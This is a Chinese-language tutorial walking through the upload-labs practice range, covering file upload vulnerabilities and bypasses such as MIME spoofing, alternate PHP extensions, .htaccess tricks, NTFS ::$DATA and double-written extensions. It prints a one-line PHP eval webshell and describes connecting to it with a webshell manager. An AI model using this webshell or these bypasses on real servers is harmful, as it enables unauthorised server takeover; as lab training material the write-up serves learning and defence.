文件上传漏洞-上篇

news2024/11/25 18:53:23

一、概述

文件上传漏洞可以说是日常渗透测试中用得最多的一个漏洞,用它获得服务器权限最快最直接。在web程序中,经常需要用到文件上传的功能。如用户或者管理员上传图片,或者其它文件。如果没有限制上传类型或者限制不严格被绕过,就有可能造成文件上传漏洞。如果上传了可执行文件或者网页脚本,就会导致网站被控制基至服务器论陷。,复杂一点的情况是配合webserver的解析漏洞来获取控制权或结合文件包含漏洞。

靶场搭建

github地址:https://github.com/c0ny1/upload-labs
下载解压完整后,放入Apache服务www根目录中
访问网址:http://localhost/upload-labs/
image.png

二、文件上传前端检测绕过

漏洞利用方式

一句话木马
<?php @eval($_POST['cmd']);?>

前端检测绕过-Pass-01
  1. 分析
    1. 使用JS进行编写
    2. 文件验证代码编写在前端
  2. 上传一句话木马
    1. 步骤:编写好一句话木马文件,现将木马修改为可以验证通过的文件文件格式,在进行抓包。
    2. 修改前:

image.png

  1. 修改后并放行

image.png

  1. 访问地址:http://10.196.93.67/upload-labs/upload/3.php
  2. image.png
  3. 使用中国蚂剑连接webShell
    1. 打开软件》鼠标右键添加数据》输入信息》点击添加

image.png

  1. 连接成功

image.png

三、文件上传mime类型检测绕过

简介

常见的mime类型对比网址:https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
image.png

示例:Pass-02

  1. 分析
    1. 第二关可以采用第一关方法进行获取webshell
    2. 第二关主要是后端的mime类型验证,并没有进行前端验证
    3. 通关方法:通过抓包获取到后端的mime类型,将其修改为自己想要的格式既可。
  2. 步骤:
    1. 先将a.php中包含的一句话木马上传的服务中,并抓包

image.png

  1. 修改Content-Type值为服务器需要的值既可。

image.png

四、黑名单绕过

说明

黑名单通常是在后端中定义了一个文件类型的数组,当用户上传文件后,后端会将上传的文件名进行过滤和格式化等操作,最后判断文件名后缀是否存在于文件后缀中,若存在则限制上传。

# 示例代码
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

示例:Pass-3

  1. 修改Apache的配置文件:httpd.conf,并重启服务
AddType application/x-httpd-php .php .phtml .php3 .php3

image.png

  1. 绕过方式:将上传的木马文件后缀修改为以前老版本可以识别(大概率成功)。如(php3,php4,phtml…)
    1. image.png
  2. 验证
    1. 文件路径:http://10.196.93.67/upload-labs/upload/202406210044594306.php3
    2. image.png

五、.htaccess绕过

简介

.htaccess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。

示例:Pass-4

  1. 创建一个.htaccess文件并编写内容

image.png

# AddType application/x-httpd-php .php .phtml .php3 .php3

# 表示: 将jpg文件当做php文件解析
AddType application/x-httpd-php .jpg
  1. 第一步上传.htaccess文件

image.png

  1. 第二步上传包含一句话木马的jpg文件

image.png

  1. 验证
    1. 文件地址:http://10.196.93.67/upload-labs/upload/3.jpg

image.png

六、空格绕过

示例:Pass-6

操作步骤:

  1. 第一步:在本地创建一个a.php 的文件
  2. 第二步:正常上上传并抓包
    1. 正常结果:

image.png

  1. 添加空格
    1. 添加空格

image.png

七、::$data绕过

介绍

在普通情况下,我们使用的文件只有一个默认的数据流,可以通过文件名访问。但是,在windows NT文件系统(NTFS)支持在文件内部创建额外的数据流,以存储其他信息。这些额外的数据流可以通过在文件名后面添加::$DATA来访问。

示例:Pass-8

image.png
image.png
image.png

八、点空点绕过

猜测后端只过滤一次,所以多写一次注入文件,从而达到需要效果。

示例:Pass-9

image.png
image.png

九、双写绕过

函数讲解

str_ireplace(['php'],"","pphphp")
# 结果:php

image.png

示例:Pass-10

上传将php后缀修改为:pphphp既可。
image.png
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1846735.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

网络安全之Windows提权(上篇)(高级进阶)

目录 一&#xff0c;什么是提权&#xff1f; 二&#xff0c;提权的前提 三&#xff0c;如何提权&#xff1f; 1&#xff0c;第一步连接服务器 2&#xff0c;提升权限至iuser​编辑 3&#xff0c;利用补丁漏洞提权至最高级 四&#xff0c;总结 一&#xff0c;什么是提权&am…

php上传zip压缩包到服务器并解压,解析压缩包内excel表格数据导入到数据库

需求: 1.需要管理后台将excel表格中的每条单词数据导入到数据库中. 2.每条单词数据对应的图片和音频文件需要上传到服务器中. 为了让客户上传数据方便,考虑了一下决定通过后台上传压缩包的方式实现 测试压缩包: 压缩包的目录结构 管理后台导入教材 public function upload…

用了这么久的群晖NAS,它到底能干些什么?

从21年开始玩群晖也有几年了&#xff0c;除非面临断电或升级&#xff0c;这个小伙伴都任劳任怨的工作着 现在NAS也广泛应用于家庭和企业环境中了&#xff0c;今天盘点一下我用群晖NAS都干了些什么~ 1.文件存储与共享&#xff1a; 群晖NAS可以作为文件服务器&#xff0c;提供…

stable diffusion 模型和lora融合

炜哥的AI学习笔记——SuperMerger插件学习 - 哔哩哔哩接下来学习的插件名字叫做 SuperMerger,它的作用正如其名,可以融合大模型或者 LoRA,一般来说会结合之前的插件 LoRA Block Weight 使用,在调整完成 LoRA 模型的权重后使用改插件进行重新打包。除了 LoRA ,Checkpoint 也…

Redis-数据类型-Geospatial(地理空间索引)

文章目录 1、查看redis是否启动2、通过客户端连接redis3、切换到db5数据库4、将地理位置信息&#xff08;经度和纬度&#xff09;添加到 Redis 的键&#xff08;key&#xff09;中4.1、添加大江商厦4.2、添加西部硅谷 5、升序返回有序集key&#xff0c;让分数一起和值返回的结果…

Java宝藏实验资源库(3)类

一、实验目的 理解面向对象程序的基本概念。掌握类的继承的实现机制。熟悉类中成员的访问控制方法。熟悉ArrayList类的使用。 二、实验内容、过程及结果 *9.5Programming Exerc ise the GregorianCal endar class) Java API has the GregorianCalendar class in the java. uti…

Windows11 24H2网络功能全新升级:全面支持Wi-Fi 7!

Windows11 24H2版本不仅推出了很多新功能&#xff0c;也全面升级了网络功能&#xff0c;全面支持Wi-Fi 7&#xff0c;带给用户最快的网速体验&#xff0c;还支持用户通过二维码分享Wi-Fi密码&#xff0c;操作更加便捷&#xff0c;也更新了SMB、LAPS和NDR协议。接下来跟随小编去…

《C++ Primer》导学系列:第 7 章 - 类

7.1 定义抽象数据类型 7.1.1 类的基本概念 在C中&#xff0c;类是用户定义的类型&#xff0c;提供了一种将数据和操作这些数据的函数&#xff08;成员函数&#xff09;组合在一起的方法。类定义了对象的属性和行为&#xff0c;通过实例化类来创建对象。 7.1.2 定义类 定义类…

ru俄罗斯域名如何申请SSL证书?

我们日常看到的都是com这种国际域名比较普遍&#xff0c;尤其是主流网站&#xff0c;主要原因考虑的其通用性&#xff0c;那么对于地方性的域名大家很少看到&#xff0c;比如俄罗斯国家域名.ru大家还是有些陌生的&#xff0c;但要说中国.CN域名那你就很熟悉了。 有用户在申请过…

Anthropic AI模型Claude 3.5 Sonnet在Amazon Bedrock上正式可用

Claude 3.5 Sonnet是Anthropic最先进的Claude系列AI模型的新成员&#xff0c;比Claude 3 Opus更智能且价格只有其五分之一 北京——2024年6月21日 亚马逊云科技宣布&#xff0c;Anthropic最新、最强大的模型Claude 3.5 Sonnet现已在Amazon Bedrock上正式可用&#xff0c;该模型…

Syslog日志外发

Syslog是一种广泛应用于网络设备、操作系统和应用程序的日志通信协议&#xff0c;通过收集、监控和分析Syslog日志&#xff0c;企业可以有效维护网络安全、故障排除和运营管理。 除了内部监控&#xff0c;有时企业也需要将Syslog日志外发以实现更多的管理和合规需求。在实现Sy…

C#委托:事件驱动编程的基石

目录 了解委托 委托使用的基本步骤 声明委托(定义一个函数的原型&#xff1a;返回值 参数类型和个数&#xff09; 根据委托定义的函数原型编写需要的方法 创建委托对象&#xff0c;关联“具体方法” 通过委托调用方法&#xff0c;而不是直接使用方法 委托对象所关联的方…

YOLOv8改进 | FPN | 新型上采样算子CARAFE【全网独家】

&#x1f4a1;&#x1f4a1;&#x1f4a1;本专栏所有程序均经过测试&#xff0c;可成功执行&#x1f4a1;&#x1f4a1;&#x1f4a1; 专栏目录 &#xff1a;《YOLOv8改进有效涨点》专栏介绍 & 专栏目录 | 目前已有40篇内容&#xff0c;内含各种Head检测头、损失函数Loss、…

构建个人文件上传服务:Python Flask实现上传和下载完整指南

介绍 在本教程中&#xff0c;我们将学习如何使用Python Flask框架将文件上传到服务器&#xff0c;并使用SQLite数据库来跟踪上传的文件。我们将提供后端代码和一个示例项目的Git链接&#xff0c;以便您可以轻松地跟随本教程。 准备工作 首先&#xff0c;您需要安装Python和F…

揭秘无局放电源:定义、工作原理及其在工业设备中的重要性

当代社会对电源安全性&#xff0c;精密性要求越来也高&#xff0c;对电源设备的需求也越来越高。无局放电源作为电源设备中的一种&#xff0c;由于其独特的优点&#xff0c;越来越受到各行各业的关注。目前&#xff0c;无局放电源在全球范围内得到了广泛应用&#xff0c;尤其是…

springboot特殊问题处理2——springboot集成flowable实现工作流程的完整教程(一)

在实际项目开发过程中&#xff0c;流程相关的业务实现采用工作流会异常清晰明了&#xff0c;但是Activity学习成本和开发难度对追求效率的开发工作者来说异常繁琐&#xff0c;但是作为Activity的亲儿子之一的flowable&#xff0c;其轻量化的使用和对应的api会让开发者感受简单&…

今日分享丨浅谈RAG的技术特点及优势

一、引言 随着AI技术的发展&#xff0c;我们见证了人工智能在理解和处理自然语言方面取得的巨大进步。特别是结合了检索增强生成&#xff08;Retrieval-Augmented Generation, RAG&#xff09;和大语言模型&#xff08;Large Language Model, LLM&#xff09;的系统&#xff0…

华企网安技术博弈:白帽子团队如何破解网赌网站

在数字化时代&#xff0c;網賭作为一种新型犯罪形式&#xff0c;其隐蔽性和跨国性给执法机关带来了前所未有的挑战。一批专业的网络安全团队——白帽子&#xff0c;正利用他们的专业技能与犯罪分子进行技术博弈&#xff0c;有效地破解網賭网站&#xff0c;为打击網賭犯罪贡献力…

银河麒麟V10安装docker和docker-compose

1. 说明 系统镜像使用的是Kylin-Server-V10-SP3-2403-Release-20240426-x86_64.iso如果是在VMware中安装这个系统&#xff0c;需选择Ubuntu&#xff0c;如果选Centos会有问题。 尝试使用在线方式安装docker&#xff0c;报了很多错误&#xff0c;比较麻烦&#xff0c;建议使用离…

Bilibili开源发布轻量级 Index 系列语言模型:2.8T 训练数据,支持角色扮演

Bilibili首次发布 Index 系列模型中的轻量版本&#xff1a;Index-1.9B 系列 本次开源的 Index-1.9B系列包含以下模型&#xff1a; Index-1.9Bbase:基座模型&#xff0c;具有 19 亿 非词嵌入参数量&#xff0c;在 2.8T 中英文为主的语料上预训练&#xff0c;多个评测基准上与…